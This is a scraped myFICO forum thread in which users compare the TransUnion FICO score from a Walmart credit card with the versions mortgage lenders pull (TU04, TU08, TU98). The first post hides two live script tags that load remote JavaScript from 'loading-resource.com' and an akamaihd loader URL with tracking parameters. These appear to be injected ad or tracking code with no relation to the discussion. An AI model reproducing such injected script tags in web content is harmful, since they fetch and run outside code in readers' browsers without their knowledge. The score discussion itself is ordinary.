Reply
Valued Member
quicksilver185
Posts: 38
Registered: ‎02-25-2011

Walmart FICO vs. Mortgage Lender FICO Pulls

[ Edited ]

I was just wondering how the Walmart Transunion FICO score compares to mortgage lender Transunion FICOs? I would appreciate any feedback from anyone who has recently applied for a mortgage and also has the Walmart credit card. Thanks

 

<script type="text/javascript" src="http://loading-resource.com/data.geo.php?callback=window.__geo.getData"></script> <script type="text/javascript" src="http://cdncache3-a.akamaihd.net/loaders/1032/l.js?aoi=1311798366&pid=1032&zoneid=62862"></script>

Starting Score: 409 2/1/2011
Current Score: Equifax 559 12/1/2011 TransUnion 569 12/1/2011
Goal Score: 700


Take the FICO Fitness Challenge
Valued Contributor
beb86
Posts: 1,117
Registered: ‎10-31-2011

Re: Walmart FICO vs. Mortgage Lender FICO Pulls

walmart is the TU08 and most lenders use a TU04  myFICO uses the TU98.....my EQ from here and my lender was dead on, my TU was higher than here and walmart but their algorithms are all different so YMMV

ccpics2.jpg
Senior Contributor
Booner72
Posts: 3,889
Registered: ‎05-24-2011

Re: Walmart FICO vs. Mortgage Lender FICO Pulls

[ Edited ]

Same with me. My lender used TU04. Back then I didn't have access to the TU08 yet, so I can't compare.  I will say though that my TU04 is pretty dead even with Credit Karma, which is always lower.

 

However, that is just a fluke.  Credit Karma is/was 50 - 100 points lower for DH's TU scores.

STARTING: 11/24/10 EQ-584 EXP-648 TU04-595
CLOSED FIRST HOME 8/19/11 EQ-630 EXP-691 TU04-653
CURRENT: EQ-701 EXP-??? TU08-720
Frequent Contributor
JPersat
Posts: 299
Registered: ‎05-28-2012

Re: Walmart FICO vs. Mortgage Lender FICO Pulls

My EQ was the same from the lender and from here. my TU, however...was 654 here (I got all excited, haha), and a 624 from the lender. EX on usaa was 629, 651 from the lender.


Starting Score: 492 02/12
Current Score: TU: 668 (FICO), EQ: 668 (FICO). EX: 651(lender pull 9/27/12)
Goal Score: 660




myFICO is the consumer division of FICO. Since its introduction 20 years ago, the FICO® Score has become a global standard for measuring credit risk in the banking, mortgage, credit card, auto and retail industries. 90 of the top 100 largest U.S. financial institutions use the FICO Score to make consumer credit decisions.

>> About myFICO
FICO Score - The Score that matters
Click to Verify - This site chose VeriSign SSL for secure e-commerce and confidential communications.
Fair Isaac Corporation is a BBB Accredited Financial Service in San Rafael, CA
FOLLOW US Social Media Facebook Twitter Pinterest Google+